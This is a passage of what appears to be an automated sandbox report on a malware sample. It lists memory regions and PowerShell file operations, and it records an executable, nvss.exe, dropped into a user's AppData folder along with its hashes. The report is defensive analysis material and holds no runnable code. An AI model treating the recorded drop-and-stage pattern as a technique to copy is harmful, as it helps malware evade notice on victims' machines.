private_0x000000007efad000 0x7efad000 0x7efaffff Private Memory Readable, Writable True True False
pagefile_0x000000007efb0000 0x7efb0000 0x7efd2fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x000000007efd5000 0x7efd5000 0x7efd7fff Private Memory Readable, Writable True True False
private_0x000000007efd8000 0x7efd8000 0x7efdafff Private Memory Readable, Writable True True False
private_0x000000007efdb000 0x7efdb000 0x7efddfff Private Memory Readable, Writable True True False
private_0x000000007efde000 0x7efde000 0x7efdefff Private Memory Readable, Writable True True False
private_0x000000007efdf000 0x7efdf000 0x7efdffff Private Memory Readable, Writable True True False
private_0x000000007efe0000 0x7efe0000 0x7ffdffff Private Memory Readable True False False
  • Region Actions
pagefile_0x000000007efe0000 0x7efe0000 0x7f0dffff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x000000007f0e0000 0x7f0e0000 0x7ffdffff Private Memory Readable True False False
  • Region Actions
private_0x000000007ffe0000 0x7ffe0000 0x7ffeffff Private Memory Readable True True False
private_0x000000007fff0000 0x7fff0000 0x7fffffeffff Private Memory Readable True False False
  • Region Actions
For performance reasons, the remaining 86 entries are omitted.
The remaining entries can be found in flog.txt.
Created Files
+
Filename File Size Hash Values YARA Match Actions
c:\users\kft6utqw\appdata\roaming\nvss.exe 393.50 KB (402944 bytes) MD5: 36040c85f7aa54e66fd6ed5e7bf298dd
SHA1: 55b6e9b15003770842395be3e0d55ac477537ddd
SHA256: aac8a8f087e8acfa9acd6e40ca4ee5b5c42f82e4e4f4633268b0bb91cf76de1d 		False
Host Behavior
File (337)
+
Operation Filename Additional Information Success Count Logfile
Create CONOUT$ desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
Create CONOUT$ desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
Create C:\Windows\SysWOW64\WindowsPowerShell\v1.0\GetEvent.types.ps1xml desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Windows\SysWOW64\WindowsPowerShell\v1.0\types.ps1xml desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Diagnostics.Format.ps1xml desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Windows\SysWOW64\WindowsPowerShell\v1.0\WSMan.format.ps1xml desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Certificate.format.ps1xml desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Windows\SysWOW64\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Windows\SysWOW64\WindowsPowerShell\v1.0\FileSystem.format.ps1xml desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Help.format.ps1xml desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Windows\SysWOW64\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Windows\SysWOW64\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Registry.format.ps1xml desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Windows\Microsoft.NET\Framework\v2.0.50727\Config\machine.config desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\kFT6uTQW\AppData\Roaming\nvss.exe desired_access = GENERIC_WRITE, file_attributes = FILE_FLAG_OPEN_NO_RECALL, share_mode = FILE_SHARE_READ True 1
Fn
Get Info C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll type = file_attributes True 2
Fn
Get Info C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.config type = file_attributes False 3
Fn
Get Info C:\Windows\SysWOW64\WindowsPowerShell\v1.0 type = file_attributes True 2
Fn
Get Info C:\Windows\SysWOW64\WindowsPowerShell\v1.0\GetEvent.types.ps1xml type = file_attributes True 2
Fn
Get Info C:\Windows\SysWOW64\WindowsPowerShell\v1.0\types.ps1xml type = file_attributes True 2
Fn
Get Info C:\Windows\SysWOW64\WindowsPowerShell\v1.0\GetEvent.types.ps1xml type = file_type True 2
Fn
Get Info C:\Windows\SysWOW64\WindowsPowerShell\v1.0\types.ps1xml type = file_type True 2
Fn
Get Info C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Diagnostics.Format.ps1xml type = file_attributes True 2
Fn
Get Info C:\Windows\SysWOW64\WindowsPowerShell\v1.0\WSMan.format.ps1xml type = file_attributes True 2
Fn
Get Info C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Certificate.format.ps1xml type = file_attributes True 2
Fn
Get Info C:\Windows\SysWOW64\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml type = file_attributes True 2
Fn
Get Info C:\Windows\SysWOW64\WindowsPowerShell\v1.0\FileSystem.format.ps1xml type = file_attributes True 2
Fn
Get Info C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Help.format.ps1xml type = file_attributes True 2
Fn
Get Info C:\Windows\SysWOW64\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml type = file_attributes True 1
Fn
Get Info C:\Windows\SysWOW64\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml type = file_attributes True 1
Fn
Get Info C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Registry.format.ps1xml type = file_attributes True 1
Fn
Get Info C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Diagnostics.Format.ps1xml type = file_type True 2
Fn
Get Info C:\Windows\SysWOW64\WindowsPowerShell\v1.0\WSMan.format.ps1xml type = file_type True 2
Fn
Get Info C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Certificate.format.ps1xml type = file_type True 2
Fn
Get Info C:\Windows\SysWOW64\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml type = file_type True 2
Fn
Get Info C:\Windows\SysWOW64\WindowsPowerShell\v1.0\FileSystem.format.ps1xml type = file_type True 2
Fn
Get Info C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Help.format.ps1xml type = file_type True 2
Fn
Get Info C:\Windows\SysWOW64\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml type = file_type True 2
Fn
Get Info C:\Windows\SysWOW64\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml type = file_type True 2
Fn
Get Info C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Registry.format.ps1xml type = file_type True 2
Fn
Get Info C:\Users\kFT6uTQW type = file_attributes True 5
Fn
Get Info C:\ type = file_attributes True 6
Fn
Get Info C:\Users\kFT6uTQW\Desktop type = file_attributes True 9
Fn
Get Info C:\Users type = file_attributes True 4
Fn
Get Info C:\Windows\SysWOW64\WindowsPowerShell\v1.0\profile.ps1 type = file_attributes False 1
Fn
Get Info C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Microsoft.PowerShell_profile.ps1 type = file_attributes False 1
Fn
Get Info C:\Users\kFT6uTQW\Documents\WindowsPowerShell\profile.ps1 type = file_attributes False 1
Fn
Get Info C:\Users\kFT6uTQW\Documents\WindowsPowerShell\Microsoft.PowerShell_profile.ps1 type = file_attributes False 1
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe type = file_attributes True 1
Fn
Get Info C:\Windows\Microsoft.NET\Framework\v2.0.50727\Config\machine.config type = file_attributes True 2
Fn
Get Info C:\Windows\Microsoft.NET\Framework\v2.0.50727\Config\machine.config type = file_type True 2
Fn
Get Info C:\Windows\Microsoft.NET\Framework\v2.0.50727\Config\machine.config type = size, size_out = 0 True 1
Fn
Get Info C:\Users\kFT6uTQW\AppData\Roaming\nvss.exe type = file_type True 2
Fn
Get Info C:\Users\kFT6uTQW\AppData\Roaming\nvss.exe type = file_attributes True 3
Fn
Open STD_INPUT_HANDLE True 1
Fn
Read C:\Windows\SysWOW64\WindowsPowerShell\v1.0\GetEvent.types.ps1xml size = 4096, size_out = 4096 True 3
Fn
Data
Read C:\Windows\SysWOW64\WindowsPowerShell\v1.0\GetEvent.types.ps1xml size = 4096, size_out = 3315 True 1
Fn
Data
Read C:\Windows\SysWOW64\WindowsPowerShell\v1.0\GetEvent.types.ps1xml size = 781, size_out = 0 True 1
Fn
Read C:\Windows\SysWOW64\WindowsPowerShell\v1.0\GetEvent.types.ps1xml size = 4096, size_out = 0 True 1
Fn
Read C:\Windows\SysWOW64\WindowsPowerShell\v1.0\types.ps1xml size = 4096, size_out = 4096 True 41
Fn
Data
Read C:\Windows\SysWOW64\WindowsPowerShell\v1.0\types.ps1xml size = 4096, size_out = 436 True 1
Fn
Data
Read C:\Windows\SysWOW64\WindowsPowerShell\v1.0\types.ps1xml size = 4096, size_out = 0 True 1
Fn
Read C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Diagnostics.Format.ps1xml size = 4096, size_out = 4096 True 6
Fn
Data
Read C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Diagnostics.Format.ps1xml size = 4096, size_out = 2530 True 1
Fn
Data
Read C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Diagnostics.Format.ps1xml size = 542, size_out = 0 True 1
Fn
Read C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Diagnostics.Format.ps1xml size = 4096, size_out = 0 True 1
Fn
Read C:\Windows\SysWOW64\WindowsPowerShell\v1.0\WSMan.format.ps1xml size = 4096, size_out = 4096 True 5
Fn
Data
Read C:\Windows\SysWOW64\WindowsPowerShell\v1.0\WSMan.format.ps1xml size = 4096, size_out = 4018 True 1
Fn
Data
Read C:\Windows\SysWOW64\WindowsPowerShell\v1.0\WSMan.format.ps1xml size = 78, size_out = 0 True 1
Fn
Read C:\Windows\SysWOW64\WindowsPowerShell\v1.0\WSMan.format.ps1xml size = 4096, size_out = 0 True 1